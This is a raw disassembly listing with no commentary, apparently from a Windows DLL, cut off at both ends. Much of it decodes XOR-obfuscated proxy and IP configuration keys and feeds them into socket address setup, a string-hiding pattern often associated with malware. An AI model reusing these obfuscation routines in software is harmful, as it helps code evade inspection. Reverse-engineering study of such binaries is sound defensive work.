lea edx, [ebp - 0x10a8]
mov dword [ebp - 0x10a8], 0
mov ecx, eax
call fcn.100524f0
mov ecx, dword [ebp - 0x105c]
xorps xmm0, xmm0
mov eax, dword [ebp - 0x10a8]
mov dword [esi + 0x288], eax
mov byte [ebp - 4], 0x89
movq qword [ebp - 0x8e3], xmm0
mov dword [ebp - 0x8db], 0
mov byte [ebp - 0x8d7], 0
cmp dword [ecx + 0x134], 0
je 0x10043f95
push 0x3ef
lea ecx, [ecx + 0x110]
call fcn.1005d570
mov byte [ebp - 0x1061], 0
mov cl, 0x51
mov dword [ebp - 0x358], 0x213e2551
mov dl, 0x25
mov ah, 0x3e
mov word [ebp - 0x354], 0x2118
mov ch, 0x21
mov byte [ebp - 0x352], 0
mov dh, 0x18
mov byte [ebp - 4], 0x8e
mov al, cl
xor al, dl
mov byte [ebp - 0x34c], 0
mov byte [ebp - 0x351], al
or edi, 1
mov al, cl
mov dword [ebp - 0x1050], edi
xor al, ah
mov dword [ebp - 0x1054], edi
mov byte [ebp - 0x350], al
mov al, cl
xor al, ch
mov byte [ebp - 0x34f], al
mov al, cl
xor cl, byte [ebp - 0x353]
xor al, dh
mov byte [ebp - 0x34e], al
lea eax, [ebp - 0x351]
mov dword [ebp - 0x124c], eax
lea eax, [ebp - 0x124c]
mov byte [ebp - 0x34d], cl
lea ecx, [ebp - 0x1088]
push eax
call fcn.1004b080
cmp byte [eax], 0
je 0x10044161
push 0
push 0x64
lea ecx, [ebp - 0x1ac]
mov byte [ebp - 0x1ac], 0x13
call fcn.10048a10
push 1
push 0x6f
lea ecx, [ebp - 0x1ac]
mov byte [ebp - 0x1ab], al
call fcn.10048a10
push 2
push 0x77
lea ecx, [ebp - 0x1ac]
mov byte [ebp - 0x1aa], al
call fcn.10048a10
push 3
push 0x6e
lea ecx, [ebp - 0x1ac]
mov byte [ebp - 0x1a9], al
call fcn.10048a10
push 4
push 0x49
lea ecx, [ebp - 0x1ac]
mov byte [ebp - 0x1a8], al
call fcn.10048a10
push 5
push 0x70
lea ecx, [ebp - 0x1ac]
mov byte [ebp - 0x1a7], al
call fcn.10048a10
mov byte [ebp - 0x1a6], al
mov byte [ebp - 0x1a5], 0
or edi, 2
mov dword [ebp - 4], 0x8f
mov dword [ebp - 0x1050], edi
mov dword [ebp - 0x1054], edi
xor edi, edi
nop dword [eax]
push edi
lea ecx, [ebp - 0x1ab]
call fcn.1000d870
push edi
lea ecx, [ebp - 0x1ac]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push edi
lea ecx, [ebp - 0x1a4]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc edi
mov byte [eax], cl
cmp edi, 6
jb 0x100440e0
push 6
lea ecx, [ebp - 0x1a4]
call fcn.1000d870
lea ecx, [ebp - 0x1a4]
mov byte [eax], 0
call fcn.1000d860
mov dword [ebp - 0x1248], eax
lea ecx, [ebp - 0x1088]
lea eax, [ebp - 0x1248]
push eax
call fcn.1004b080
mov ecx, eax
call fcn.10048fe0
mov byte [ebp - 0x1049], 1
test al, al
je 0x10044168
mov byte [ebp - 0x1049], 0
mov eax, dword [ebp - 0x1050]
test al, 2
je 0x10044197
and eax, 0xfffffffd
lea ecx, [ebp - 0x1ab]
mov dword [ebp - 0x1050], eax
call fcn.1000d860
xor ecx, ecx
mov dword [eax], ecx
mov word [eax + 4], cx
mov byte [eax + 6], cl
mov eax, dword [ebp - 0x1050]
mov dword [ebp - 4], 0x89
test al, 1
je 0x100441be
and eax, 0xfffffffe
lea ecx, [ebp - 0x357]
mov dword [ebp - 0x1050], eax
xor edi, edi
call fcn.1000d860
mov dword [eax], edi
mov word [eax + 4], di
cmp byte [ebp - 0x1049], 0
push 0
je 0x10044ad3
push 0x74
lea ecx, [ebp - 0xe4]
mov byte [ebp - 0xe4], 0xd
call fcn.10048a10
push 1
push 0x6f
lea ecx, [ebp - 0xe4]
mov byte [ebp - 0xe3], al
call fcn.10048a10
push 2
push 0x70
lea ecx, [ebp - 0xe4]
mov byte [ebp - 0xe2], al
call fcn.10048a10
push 3
push 0x49
lea ecx, [ebp - 0xe4]
mov byte [ebp - 0xe1], al
call fcn.10048a10
push 4
push 0x70
lea ecx, [ebp - 0xe4]
mov byte [ebp - 0xe0], al
call fcn.10048a10
mov byte [ebp - 0xdf], al
mov byte [ebp - 0xde], 0
mov byte [ebp - 4], 0x90
xor edi, edi
nop dword [eax + eax]
push edi
lea ecx, [ebp - 0xe3]
call fcn.1000d870
push edi
lea ecx, [ebp - 0xe4]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push edi
lea ecx, [ebp - 0xdd]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc edi
mov byte [eax], cl
cmp edi, 5
jb 0x10044250
push 5
lea ecx, [ebp - 0xdd]
call fcn.1000d870
lea ecx, [ebp - 0xdd]
mov byte [eax], 0
call fcn.1000d860
mov dword [ebp - 0x1174], eax
lea ecx, [ebp - 0x1088]
lea eax, [ebp - 0x1174]
push eax
call fcn.1004b080
lea ecx, [ebp - 0xd78]
push ecx
mov ecx, eax
call fcn.1005b770
mov ecx, eax
mov byte [ebp - 4], 0x91
call fcn.10008f50
push eax
mov ecx, esi
call fcn.1005a4d0
lea ecx, [ebp - 0xd78]
call fcn.10003210
lea ecx, [ebp - 0xe3]
mov byte [ebp - 4], 0x89
xor edi, edi
call fcn.1000d860
push edi
push 0x74
lea ecx, [ebp - 0x424]
mov dword [eax], edi
mov word [eax + 4], di
mov byte [ebp - 0x424], 0x58
call fcn.10048a10
push 1
push 0x6f
lea ecx, [ebp - 0x424]
mov byte [ebp - 0x423], al
call fcn.10048a10
push 2
push 0x70
lea ecx, [ebp - 0x424]
mov byte [ebp - 0x422], al
call fcn.10048a10
push 3
push 0x50
lea ecx, [ebp - 0x424]
mov byte [ebp - 0x421], al
call fcn.10048a10
push 4
push 0x72
lea ecx, [ebp - 0x424]
mov byte [ebp - 0x420], al
call fcn.10048a10
push 5
push 0x6f
lea ecx, [ebp - 0x424]
mov byte [ebp - 0x41f], al
call fcn.10048a10
push 6
push 0x78
lea ecx, [ebp - 0x424]
mov byte [ebp - 0x41e], al
call fcn.10048a10
push 7
push 0x79
lea ecx, [ebp - 0x424]
mov byte [ebp - 0x41d], al
call fcn.10048a10
push 8
push 0x50
lea ecx, [ebp - 0x424]
mov byte [ebp - 0x41c], al
call fcn.10048a10
push 9
push 0x6f
lea ecx, [ebp - 0x424]
mov byte [ebp - 0x41b], al
call fcn.10048a10
mov byte [ebp - 0x41a], al
push 0xa
push 0x72
lea ecx, [ebp - 0x424]
call fcn.10048a10
push 0xb
push 0x74
lea ecx, [ebp - 0x424]
mov byte [ebp - 0x419], al
call fcn.10048a10
mov byte [ebp - 0x418], al
mov byte [ebp - 0x417], 0
mov byte [ebp - 4], 0x92
nop
push edi
lea ecx, [ebp - 0x423]
call fcn.1000d870
push edi
lea ecx, [ebp - 0x424]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push edi
lea ecx, [ebp - 0x416]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc edi
mov byte [eax], cl
cmp edi, 0xc
jb 0x10044410
push 0xc
lea ecx, [ebp - 0x416]
call fcn.1000d870
lea ecx, [ebp - 0x416]
mov byte [eax], 0
call fcn.1000d860
mov dword [ebp - 0x1244], eax
lea ecx, [ebp - 0x1088]
lea eax, [ebp - 0x1244]
push eax
call fcn.1004b080
mov ecx, eax
call fcn.1004b330
movzx eax, ax
mov ecx, esi
push eax
call fcn.1005a4c0
lea ecx, [ebp - 0x423]
mov byte [ebp - 4], 0x89
call fcn.1000d860
xorps xmm0, xmm0
lea ecx, [ebp - 0xf4]
push 0
push 0x74
movq qword [eax], xmm0
mov dword [eax + 8], 0
mov byte [eax + 0xc], 0
mov byte [ebp - 0xf4], 0x42
call fcn.10048a10
push 1
push 0x6f
lea ecx, [ebp - 0xf4]
mov byte [ebp - 0xf3], al
call fcn.10048a10
push 2
push 0x70
lea ecx, [ebp - 0xf4]
mov byte [ebp - 0xf2], al
call fcn.10048a10
push 3
push 0x49
lea ecx, [ebp - 0xf4]
mov byte [ebp - 0xf1], al
call fcn.10048a10
push 4
push 0x70
lea ecx, [ebp - 0xf4]
mov byte [ebp - 0xf0], al
call fcn.10048a10
mov byte [ebp - 0xef], al
mov byte [ebp - 0xee], 0
mov byte [ebp - 4], 0x93
xor edi, edi
nop
push edi
lea ecx, [ebp - 0xf3]
call fcn.1000d870
push edi
lea ecx, [ebp - 0xf4]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push edi
lea ecx, [ebp - 0xed]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc edi
mov byte [eax], cl
cmp edi, 5
jb 0x10044530
push 5
lea ecx, [ebp - 0xed]
call fcn.1000d870
lea ecx, [ebp - 0xed]
mov byte [eax], 0
call fcn.1000d860
mov dword [ebp - 0x1240], eax
lea ecx, [ebp - 0x1088]
lea eax, [ebp - 0x1240]
push eax
call fcn.1004b080
lea ecx, [ebp - 0xd90]
push ecx
mov ecx, eax
call fcn.1005b770
mov ecx, eax
mov byte [ebp - 4], 0x94
call fcn.10008f50
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
push eax
mov ecx, esi
call fcn.1005a4b0
lea ecx, [ebp - 0xd90]
call fcn.10003210
lea ecx, [ebp - 0xf3]
mov byte [ebp - 4], 0x89
xor edi, edi
call fcn.1000d860
push edi
push 0x74
lea ecx, [ebp - 0x440]
mov dword [eax], edi
mov word [eax + 4], di
mov byte [ebp - 0x440], 0x24
call fcn.10048a10
push 1
push 0x6f
lea ecx, [ebp - 0x440]
mov byte [ebp - 0x43f], al
call fcn.10048a10
push 2
push 0x70
lea ecx, [ebp - 0x440]
mov byte [ebp - 0x43e], al
call fcn.10048a10
push 3
push 0x50
lea ecx, [ebp - 0x440]
mov byte [ebp - 0x43d], al
call fcn.10048a10
push 4
push 0x72
lea ecx, [ebp - 0x440]
mov byte [ebp - 0x43c], al
call fcn.10048a10
push 5
push 0x6f
lea ecx, [ebp - 0x440]
mov byte [ebp - 0x43b], al
call fcn.10048a10
push 6
push 0x78
lea ecx, [ebp - 0x440]
mov byte [ebp - 0x43a], al
call fcn.10048a10
push 7
push 0x79
lea ecx, [ebp - 0x440]
mov byte [ebp - 0x439], al
call fcn.10048a10
push 8
push 0x50
lea ecx, [ebp - 0x440]
mov byte [ebp - 0x438], al
call fcn.10048a10
push 9
mov byte [ebp - 0x437], al
lea ecx, [ebp - 0x440]
push 0x6f
call fcn.10048a10
push 0xa
push 0x72
lea ecx, [ebp - 0x440]
mov byte [ebp - 0x436], al
call fcn.10048a10
push 0xb
push 0x74
lea ecx, [ebp - 0x440]
mov byte [ebp - 0x435], al
call fcn.10048a10
mov byte [ebp - 0x434], al
mov byte [ebp - 0x433], 0
mov byte [ebp - 4], 0x95
nop word [eax + eax]
push edi
lea ecx, [ebp - 0x43f]
call fcn.1000d870
push edi
lea ecx, [ebp - 0x440]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push edi
lea ecx, [ebp - 0x432]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc edi
mov byte [eax], cl
cmp edi, 0xc
jb 0x10044700
push 0xc
lea ecx, [ebp - 0x432]
call fcn.1000d870
lea ecx, [ebp - 0x432]
mov byte [eax], 0
call fcn.1000d860
mov dword [ebp - 0x123c], eax
lea ecx, [ebp - 0x1088]
lea eax, [ebp - 0x123c]
push eax
call fcn.1004b080
mov ecx, eax
call fcn.1004b330
movzx eax, ax
push eax
call dword [sym.imp.WS2_32.dll_htons]
movzx eax, ax
mov ecx, esi
push eax
call fcn.1005a4a0
lea ecx, [ebp - 0x43f]
mov byte [ebp - 4], 0x89
call fcn.1000d860
xorps xmm0, xmm0
lea ecx, [ebp - 0x14c]
push 0
push 0x64
movq qword [eax], xmm0
mov dword [eax + 8], 0
mov byte [eax + 0xc], 0
mov byte [ebp - 0x14c], 0x6b
call fcn.10048a10
push 1
push 0x6f
lea ecx, [ebp - 0x14c]
mov byte [ebp - 0x14b], al
call fcn.10048a10
push 2
push 0x77
lea ecx, [ebp - 0x14c]
mov byte [ebp - 0x14a], al
call fcn.10048a10
push 3
push 0x6e
lea ecx, [ebp - 0x14c]
mov byte [ebp - 0x149], al
call fcn.10048a10
push 4
push 0x49
lea ecx, [ebp - 0x14c]
mov byte [ebp - 0x148], al
call fcn.10048a10
push 5
push 0x70
lea ecx, [ebp - 0x14c]
mov byte [ebp - 0x147], al
call fcn.10048a10
mov byte [ebp - 0x146], al
mov byte [ebp - 0x145], 0
mov byte [ebp - 4], 0x96
xor edi, edi
nop
push edi
lea ecx, [ebp - 0x14b]
call fcn.1000d870
push edi
lea ecx, [ebp - 0x14c]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push edi
lea ecx, [ebp - 0x144]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc edi
mov byte [eax], cl
cmp edi, 6
jb 0x10044840
push 6
lea ecx, [ebp - 0x144]
call fcn.1000d870
lea ecx, [ebp - 0x144]
mov byte [eax], 0
call fcn.1000d860
mov dword [ebp - 0x1238], eax
lea ecx, [ebp - 0x1088]
lea eax, [ebp - 0x1238]
push eax
call fcn.1004b080
lea ecx, [ebp - 0xcd0]
push ecx
mov ecx, eax
call fcn.1005b770
mov ecx, eax
mov byte [ebp - 4], 0x97
call fcn.10008f50
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
push eax
mov ecx, esi
call fcn.1005a490
lea ecx, [ebp - 0xcd0]
call fcn.10003210
lea ecx, [ebp - 0x14b]
mov byte [ebp - 4], 0x89
call fcn.1000d860
xor ecx, ecx
push ecx
push 0x64
mov dword [eax], ecx
mov word [eax + 4], cx
mov byte [eax + 6], cl
lea ecx, [ebp - 0x498]
mov byte [ebp - 0x498], 0x34
call fcn.10048a10
push 1
push 0x6f
lea ecx, [ebp - 0x498]
mov byte [ebp - 0x497], al
call fcn.10048a10
push 2
push 0x77
lea ecx, [ebp - 0x498]
mov byte [ebp - 0x496], al
call fcn.10048a10
push 3
push 0x6e
lea ecx, [ebp - 0x498]
mov byte [ebp - 0x495], al
call fcn.10048a10
push 4
push 0x50
lea ecx, [ebp - 0x498]
mov byte [ebp - 0x494], al
call fcn.10048a10
push 5
push 0x72
lea ecx, [ebp - 0x498]
mov byte [ebp - 0x493], al
call fcn.10048a10
push 6
push 0x6f
lea ecx, [ebp - 0x498]
mov byte [ebp - 0x492], al
call fcn.10048a10
push 7
push 0x78
lea ecx, [ebp - 0x498]
mov byte [ebp - 0x491], al
call fcn.10048a10
push 8
push 0x79
lea ecx, [ebp - 0x498]
mov byte [ebp - 0x490], al
call fcn.10048a10
push 9
mov byte [ebp - 0x48f], al
push 0x50
lea ecx, [ebp - 0x498]
call fcn.10048a10
push 0xa
push 0x6f
lea ecx, [ebp - 0x498]
mov byte [ebp - 0x48e], al
call fcn.10048a10
push 0xb
push 0x72
lea ecx, [ebp - 0x498]
mov byte [ebp - 0x48d], al
call fcn.10048a10
push 0xc
push 0x74
lea ecx, [ebp - 0x498]
mov byte [ebp - 0x48c], al
call fcn.10048a10
mov byte [ebp - 0x48b], al
mov byte [ebp - 0x48a], 0
mov byte [ebp - 4], 0x98
xor edi, edi
push edi
lea ecx, [ebp - 0x497]
call fcn.1000d870
push edi
lea ecx, [ebp - 0x498]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push edi
lea ecx, [ebp - 0x489]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc edi
mov byte [eax], cl
cmp edi, 0xd
jb 0x10044a20
push 0xd
lea ecx, [ebp - 0x489]
call fcn.1000d870
lea ecx, [ebp - 0x489]
mov byte [eax], 0
call fcn.1000d860
mov dword [ebp - 0x1234], eax
lea ecx, [ebp - 0x1088]
lea eax, [ebp - 0x1234]
push eax
call fcn.1004b080
mov ecx, eax
call fcn.1004b330
movzx eax, ax
push eax
call dword [sym.imp.WS2_32.dll_htons]
movzx eax, ax
mov ecx, esi
push eax
call fcn.1005a480
lea ecx, [ebp - 0x497]
mov byte [ebp - 4], 0x89
call fcn.1000d860
xorps xmm0, xmm0
movq qword [eax], xmm0
mov dword [eax + 8], 0
mov word [eax + 0xc], 0
jmp 0x10044da6
push 0x70
lea ecx, [ebp - 0x220]
mov byte [ebp - 0x220], 0x5c
call fcn.10048a10
push 1
push 0x72
lea ecx, [ebp - 0x220]
mov byte [ebp - 0x21f], al
call fcn.10048a10
push 2
push 0x6f
lea ecx, [ebp - 0x220]
mov byte [ebp - 0x21e], al
call fcn.10048a10
push 3
push 0x78
lea ecx, [ebp - 0x220]
mov byte [ebp - 0x21d], al
call fcn.10048a10
push 4
push 0x79
lea ecx, [ebp - 0x220]
mov byte [ebp - 0x21c], al
call fcn.10048a10
push 5
push 0x49
lea ecx, [ebp - 0x220]
mov byte [ebp - 0x21b], al
call fcn.10048a10
push 6
push 0x70
lea ecx, [ebp - 0x220]
mov byte [ebp - 0x21a], al
call fcn.10048a10
mov byte [ebp - 0x219], al
mov byte [ebp - 0x218], 0
mov byte [ebp - 4], 0x99
xor edi, edi
nop dword [eax + eax]
push edi
lea ecx, [ebp - 0x21f]
call fcn.1000d870
push edi
lea ecx, [ebp - 0x220]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push edi
lea ecx, [ebp - 0x217]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc edi
mov byte [eax], cl
cmp edi, 7
jb 0x10044b80
push 7
lea ecx, [ebp - 0x217]
call fcn.1000d870
lea ecx, [ebp - 0x217]
mov byte [eax], 0
call fcn.1000d860
mov dword [ebp - 0x1230], eax
lea ecx, [ebp - 0x1088]
lea eax, [ebp - 0x1230]
push eax
call fcn.1004b080
lea ecx, [ebp - 0xda8]
push ecx
mov ecx, eax
call fcn.1005b770
mov ecx, eax
mov byte [ebp - 4], 0x9a
call fcn.10008f50
push eax
mov ecx, esi
call fcn.1005a4d0
lea ecx, [ebp - 0xda8]
call fcn.10003210
lea ecx, [ebp - 0x21f]
mov byte [ebp - 4], 0x89
call fcn.1000d860
xorps xmm0, xmm0
lea ecx, [ebp - 0x300]
push 0
push 0x70
movq qword [eax], xmm0
mov byte [ebp - 0x300], 0x50
call fcn.10048a10
push 1
push 0x72
lea ecx, [ebp - 0x300]
mov byte [ebp - 0x2ff], al
call fcn.10048a10
push 2
push 0x6f
lea ecx, [ebp - 0x300]
mov byte [ebp - 0x2fe], al
call fcn.10048a10
push 3
push 0x78
lea ecx, [ebp - 0x300]
mov byte [ebp - 0x2fd], al
call fcn.10048a10
push 4
push 0x79
lea ecx, [ebp - 0x300]
mov byte [ebp - 0x2fc], al
call fcn.10048a10
push 5
push 0x50
lea ecx, [ebp - 0x300]
mov byte [ebp - 0x2fb], al
call fcn.10048a10
push 6
push 0x6f
lea ecx, [ebp - 0x300]
mov byte [ebp - 0x2fa], al
call fcn.10048a10
push 7
push 0x72
lea ecx, [ebp - 0x300]
mov byte [ebp - 0x2f9], al
call fcn.10048a10
push 8
push 0x74
lea ecx, [ebp - 0x300]
mov byte [ebp - 0x2f8], al
call fcn.10048a10
mov byte [ebp - 0x2f7], al
mov byte [ebp - 0x2f6], 0
mov byte [ebp - 4], 0x9b
xor edi, edi
push edi
lea ecx, [ebp - 0x2ff]
call fcn.1000d870
push edi
lea ecx, [ebp - 0x300]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push edi
lea ecx, [ebp - 0x2f5]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc edi
mov byte [eax], cl
cmp edi, 9
jb 0x10044d02
push 9
lea ecx, [ebp - 0x2f5]
call fcn.1000d870
lea ecx, [ebp - 0x2f5]
mov byte [eax], 0
call fcn.1000d860
mov dword [ebp - 0x122c], eax
lea ecx, [ebp - 0x1088]
lea eax, [ebp - 0x122c]
push eax
call fcn.1004b080
mov ecx, eax
call fcn.1004b330
movzx eax, ax
mov ecx, esi
push eax
call fcn.1005a4c0
lea ecx, [ebp - 0x2ff]
mov byte [ebp - 4], 0x89
call fcn.1000d860
xorps xmm0, xmm0
mov byte [ebp - 0x1061], 1
movq qword [eax], xmm0
mov word [eax + 8], 0
mov ecx, dword [ebp - 0x105c]
cmp dword [ecx + 0x134], 0
je 0x10044dc5
push 0x3f0
lea ecx, [ecx + 0x110]
call fcn.1005d570
mov dl, 0x75
mov dword [ebp - 0x920], 0x1c1d0275
mov dword [ebp - 0x91c], 0x53c1001
mov dword [ebp - 0x918], 0x11c0226
mov word [ebp - 0x914], 0x1d16
mov byte [ebp - 0x912], 0
mov byte [ebp - 4], 0x9c
xor ecx, ecx
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x91f]
xor al, dl
mov byte [ebp + ecx - 0x911], al
inc ecx
cmp ecx, 0xd
jae 0x10044e1e
mov dl, byte [ebp - 0x920]
jmp 0x10044e00
lea eax, [ebp - 0x911]
mov byte [ebp - 0x904], 0
mov dword [ebp - 0x1228], eax
lea ecx, [ebp - 0x1078]
lea eax, [ebp - 0x1228]
push eax
call fcn.1004b080
lea edx, [ebp - 0x1063]
mov byte [ebp - 0x1063], 0
mov ecx, eax
call fcn.100523e0
mov al, byte [ebp - 0x1063]
xorps xmm0, xmm0
mov byte [esi + 0x2e4], al
mov byte [ebp - 4], 0x89
movq qword [ebp - 0x91f], xmm0
mov dword [ebp - 0x917], 0
mov word [ebp - 0x913], 0
cmp byte [esi + 0x2e4], 0
je 0x10044f61
sub esp, 0x18
mov ecx, 0x10105e4c
mov edi, esp
mov dword [ebp - 0x1058], edi
call fcn.10018010
push 0x10105e4c
test al, al
je 0x10044ecf
mov ecx, edi
call fcn.100171e0
mov edi, dword [ebp - 0x1050]
mov ecx, esi
or edi, 0x20000
call fcn.10031190
jmp 0x10044f67
lea ecx, [ebp - 0xa74]
call fcn.100171e0
mov ecx, 0x10105e4c
xor edi, edi
call fcn.1000c160
test eax, eax
je 0x10044f2f
nop word [eax + eax]
push edi
lea ecx, [ebp - 0xa74]
call fcn.10037df0
push edi
movzx ecx, word [eax]
mov eax, dword [0x10105e48]
add eax, edi
xor eax, ecx
lea ecx, [ebp - 0xa74]
movzx esi, ax
call fcn.10037df0
mov ecx, 0x10105e4c
inc edi
mov word [eax], si
call fcn.1000c160
cmp edi, eax
jb 0x10044ef0
mov esi, dword [ebp - 0x1060]
mov ecx, dword [ebp - 0x1058]
lea eax, [ebp - 0xa74]
push eax
call fcn.10018150
mov edi, dword [ebp - 0x1050]
lea ecx, [ebp - 0xa74]
or edi, 0x20000
call fcn.100181a0
mov ecx, esi
call fcn.10031190
jmp 0x10044f67
mov edi, dword [ebp - 0x1050]
mov dl, 0x6c
mov dword [ebp - 0x900], 0x1e091f6c
mov dword [ebp - 0x8fc], 0x2f1e091a
mov dword [ebp - 0x8f8], 0x91c1518
mov byte [ebp - 0x8f4], 0
mov byte [ebp - 4], 0x9d
xor ecx, ecx
nop dword [eax]
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x8ff]
xor al, dl
mov byte [ebp + ecx - 0x8f3], al
inc ecx
cmp ecx, 0xb
jae 0x10044fbe
mov dl, byte [ebp - 0x900]
jmp 0x10044fa0
lea eax, [ebp - 0x8f3]
mov byte [ebp - 0x8e8], 0
mov dword [ebp - 0x1224], eax
lea ecx, [ebp - 0x1078]
lea eax, [ebp - 0x1224]
push eax
call fcn.1004b080
lea edx, [ebp - 0x10ac]
mov dword [ebp - 0x10ac], 0
mov ecx, eax
call fcn.100524f0
cmp dword [ebp - 0x10ac], 6
xorps xmm0, xmm0
mov byte [ebp - 4], 0x89
mov ecx, esi
sete al
movq qword [ebp - 0x8ff], xmm0
mov dword [ebp - 0x8f7], 0
test al, al
je 0x100451fc
push 1
call fcn.1005a470
push 0
push 0x31
lea ecx, [ebp - 0x5a8]
mov byte [ebp - 0x5a8], 0x49
call fcn.10048a10
push 1
push 0x31
lea ecx, [ebp - 0x5a8]
mov byte [ebp - 0x5a7], al
call fcn.10048a10
push 2
push 0x34
lea ecx, [ebp - 0x5a8]
mov byte [ebp - 0x5a6], al
call fcn.10048a10
push 3
push 0x2e
lea ecx, [ebp - 0x5a8]
mov byte [ebp - 0x5a5], al
call fcn.10048a10
push 4
push 0x31
lea ecx, [ebp - 0x5a8]
mov byte [ebp - 0x5a4], al
call fcn.10048a10
push 5
push 0x31
lea ecx, [ebp - 0x5a8]
mov byte [ebp - 0x5a3], al
call fcn.10048a10
push 6
push 0x34
lea ecx, [ebp - 0x5a8]
mov byte [ebp - 0x5a2], al
call fcn.10048a10
push 7
push 0x2e
lea ecx, [ebp - 0x5a8]
mov byte [ebp - 0x5a1], al
call fcn.10048a10
push 8
push 0x31
lea ecx, [ebp - 0x5a8]
mov byte [ebp - 0x5a0], al
call fcn.10048a10
push 9
push 0x31
lea ecx, [ebp - 0x5a8]
mov byte [ebp - 0x59f], al
call fcn.10048a10
push 0xa
push 0x34
lea ecx, [ebp - 0x5a8]
mov byte [ebp - 0x59e], al
call fcn.10048a10
push 0xb
push 0x2e
lea ecx, [ebp - 0x5a8]
mov byte [ebp - 0x59d], al
call fcn.10048a10
push 0xc
push 0x31
lea ecx, [ebp - 0x5a8]
mov byte [ebp - 0x59c], al
call fcn.10048a10
push 0xd
push 0x31
lea ecx, [ebp - 0x5a8]
mov byte [ebp - 0x59b], al
call fcn.10048a10
push 0xe
push 0x34
lea ecx, [ebp - 0x5a8]
mov byte [ebp - 0x59a], al
call fcn.10048a10
mov byte [ebp - 0x599], al
mov byte [ebp - 0x598], 0
mov byte [ebp - 4], 0x9e
xor esi, esi
nop dword [eax]
push esi
lea ecx, [ebp - 0x5a7]
call fcn.1000d870
push esi
lea ecx, [ebp - 0x5a8]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push esi
lea ecx, [ebp - 0x597]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc esi
mov byte [eax], cl
cmp esi, 0xf
jb 0x10045180
push 0xf
lea ecx, [ebp - 0x597]
call fcn.1000d870
lea ecx, [ebp - 0x597]
mov byte [eax], 0
call fcn.1000d860
mov esi, dword [ebp - 0x1060]
mov ecx, esi
push eax
call fcn.10030b30
lea ecx, [ebp - 0x5a7]
mov byte [ebp - 4], 0x89
call fcn.1000d860
xorps xmm0, xmm0
movups xmmword [eax], xmm0
jmp 0x10045203
push 0
call fcn.1005a470
mov ecx, dword [ebp - 0x105c]
cmp dword [ecx + 0x134], 0
je 0x10045222
push 0x3f1
lea ecx, [ecx + 0x110]
call fcn.1005d570
movaps xmm0, xmmword [0x100efd70]
movups xmmword [ebp - 0x990], xmm0
mov dword [ebp - 0x980], 0x2305031e
mov dword [ebp - 0x97c], 0x14161f10
mov byte [ebp - 0x978], 0
mov byte [ebp - 4], 0x9f
xor ecx, ecx
mov al, byte [ebp + ecx - 0x98f]
xor al, byte [ebp - 0x990]
mov byte [ebp + ecx - 0x977], al
inc ecx
cmp ecx, 0x17
jb 0x10045251
lea eax, [ebp - 0x977]
mov byte [ebp - 0x960], 0
mov dword [ebp - 0x1220], eax
lea ecx, [ebp - 0x10a0]
lea eax, [ebp - 0x1220]
push eax
call fcn.1004b080
push dword [ebp - 0x1068]
lea ecx, [ebp - 0xc28]
push ecx
mov ecx, eax
call fcn.1005b670
or edi, 0x8000
xorps xmm0, xmm0
mov dword [ebp - 0x9e4], 0x61667a5d
movups xmmword [ebp - 0x98f], xmm0
mov byte [ebp - 0x9e0], 0
movq qword [ebp - 0x97f], xmm0
movaps xmm0, xmmword [0x100f0280]
movups xmmword [ebp - 0x9f4], xmm0
mov byte [ebp - 4], 0xa2
xor ecx, ecx
mov al, byte [ebp + ecx - 0x9f3]
xor al, byte [ebp - 0x9f4]
mov byte [ebp + ecx - 0x9df], al
inc ecx
cmp ecx, 0x13
jb 0x100452e1
lea eax, [ebp - 0x9df]
mov byte [ebp - 0x9cc], 0
mov dword [ebp - 0x121c], eax
lea ecx, [ebp - 0x1078]
lea eax, [ebp - 0x121c]
push eax
call fcn.1004b080
push dword [ebp - 0x1068]
lea ecx, [ebp - 0xbf8]
push ecx
mov ecx, eax
call fcn.1005b670
or edi, 0x4000
push dword [ebp - 0x1068]
xorps xmm0, xmm0
mov dword [ebp - 0x9e3], 0
lea ecx, [ebp - 0x9a8]
movups xmmword [ebp - 0x9f3], xmm0
call fcn.1000ad30
lea ecx, [ebp - 0x9a8]
call fcn.10003100
push dword [ebp - 0x1068]
lea ecx, [ebp - 0xa5c]
call fcn.1000ad30
lea ecx, [ebp - 0xa5c]
call fcn.10003100
movaps xmm0, xmmword [0x100f0210]
movups xmmword [ebp - 0x95c], xmm0
mov dword [ebp - 0x94c], 0x53554653
mov dword [ebp - 0x948], 0x424a4660
mov dword [ebp - 0x944], 0x6871576e
mov byte [ebp - 0x940], 0
mov byte [ebp - 4], 0xa7
xor ecx, ecx
nop
mov al, byte [ebp + ecx - 0x95b]
xor al, byte [ebp - 0x95c]
mov byte [ebp + ecx - 0x93f], al
inc ecx
cmp ecx, 0x1b
jb 0x100453c0
lea eax, [ebp - 0x93f]
mov byte [ebp - 0x924], 0
mov dword [ebp - 0x1218], eax
lea ecx, [ebp - 0x1078]
lea eax, [ebp - 0x1218]
push eax
call fcn.1004b080
push eax
lea ecx, [ebp - 0x10c8]
call fcn.1005a930
mov byte [ebp - 4], 0xa9
xorps xmm0, xmm0
cmp byte [ebp - 0x10c8], 0
